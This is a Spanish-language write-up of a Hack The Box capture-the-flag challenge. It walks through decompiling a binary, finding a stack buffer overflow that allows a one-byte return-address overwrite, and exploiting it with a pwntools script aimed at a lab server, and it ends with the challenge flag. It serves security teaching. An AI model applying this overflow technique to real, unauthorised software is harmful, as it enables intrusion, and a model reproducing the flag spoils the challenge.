Este es un reto sencillo de la plataforma Hack the Box, comparte título con otros dos que subiré proximamente. Espero que os sirva para aprender!
Reconocimiento
Se nos da un binario con arquitectura x86_64
, con las siguientes protecciones:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
Stripped: No
Con ghidra descompilamos para analizar el código fuente:
int main(void){
setup();
banner();
puts("\x1b[1;34m");
admin_panel(1,2,3);
return 0;
}
Vemos que se llama a una función admin_panel
, donde apreciamos una vulnerabilidad de tipo Buffer Overflow:
void admin_panel(long param_1,long param_2,long param_3)
{
int iVar1;
char input_str [40];
long input_num;
input_num = 0;
printf("[*] Safety mechanisms are enabled!\n[*] Values are set to: a = [%x], b = [%ld], c = [%ld]. \n[*] If you want to continue, disable the mechanism or login as admin.\n",param_1,param_2,param_3);
while (((input_num != 1 && (input_num != 2)) && (input_num != 3))) {
printf(&DAT_004014e8);
input_num = read_num();
}
if (input_num == 1) {
printf("\n[*] Input: ");
}
else {
if (input_num != 2) {
puts("\n[!] Exiting..\n");
/* WARNING: Subroutine does not return */
exit(0x1b39);
}
printf("\n[*] Username: ");
}
read(0,input_str,0x39); //Vulnerable a Buffer Overflow (40 <- 57)
if (((param_1 == 0xdeadbeef) && (param_2 == 0x1337c0de)) && (param_3 == 0x1337beef)) {
iVar1 = strncmp("DRAEGER15th30n34nd0nly4dm1n15tr4t0R0fth15sp4c3cr4ft",input_str,0x34);
if (iVar1 != 0) {
printf("\n%s[+] Welcome admin! The secret message is: ",&DAT_00400c38);
system("cat flag*");
goto LAB_00400b38;
}
}
printf("\n%s[-] Authentication failed!\n",&DAT_00400c40);
LAB_00400b38:
puts("\n[!] For security reasons, you are logged out..\n");
return;
}
Con esto, podemos tratar de buscar el offset hasta el RIP, para saltarnos la verificación y ejecutar directamente la línea que imprime la flag.
Ejecutamos con gdb-peda:
[...]
[*] Safety mechanisms are enabled!
[*] Values are set to: a = [1], b = [2], c = [3].
[*] If you want to continue, disable the mechanism or login as admin.
1. Disable mechanisms ⚙️
2. Login ✅
3. Exit 🏃
>> 2
[*] Username: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Sin embargo, no parece que estemos sobrescribiendo RIP, ni RBP:
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffdbc0 --> 0x400ba0 (<__libc_csu_init>: push r15)
RIP: 0x400b41
Vamos a probar con otra letra:
[...]
[*] Username: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
Y vemos que RIP varía un byte:
RBP: 0x4242424242424242 ('BBBBBBBB')
RSP: 0x7fffffffdbc0 --> 0x400ba0 (<__libc_csu_init>: push r15)
RIP: 0x400b42
Por lo que tenemos un overflow de un sólo byte, que es más que suficiente como para llegar a donde queremos (0x400b01
):
Explotación
Para resolver el reto sólo nos faltaría mandar una cadena de \x01
lo suficientemente larga, para ello lo haremos mediante un script en python utilizando la librería pwntools:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
# Set up pwntools for the correct architecture
exe = context.binary = ELF('./sp_going_deeper')
def start(argv=[], *a, **kw):
if args.REMOTE:
return remote("94.237.51.112",50014)
else:
return process('./sp_going_deeper')
io = start()
io.sendlineafter(">>", b"1")
payload = 57 * b'\x01'
io.sendlineafter("Input:", payload)
io.interactive()
Lo ejecutamos en remoto y tenemos la flag!
[+] Welcome admin! The secret message is: HTB{d1g_1n51d3..u_Cry_cry_cry}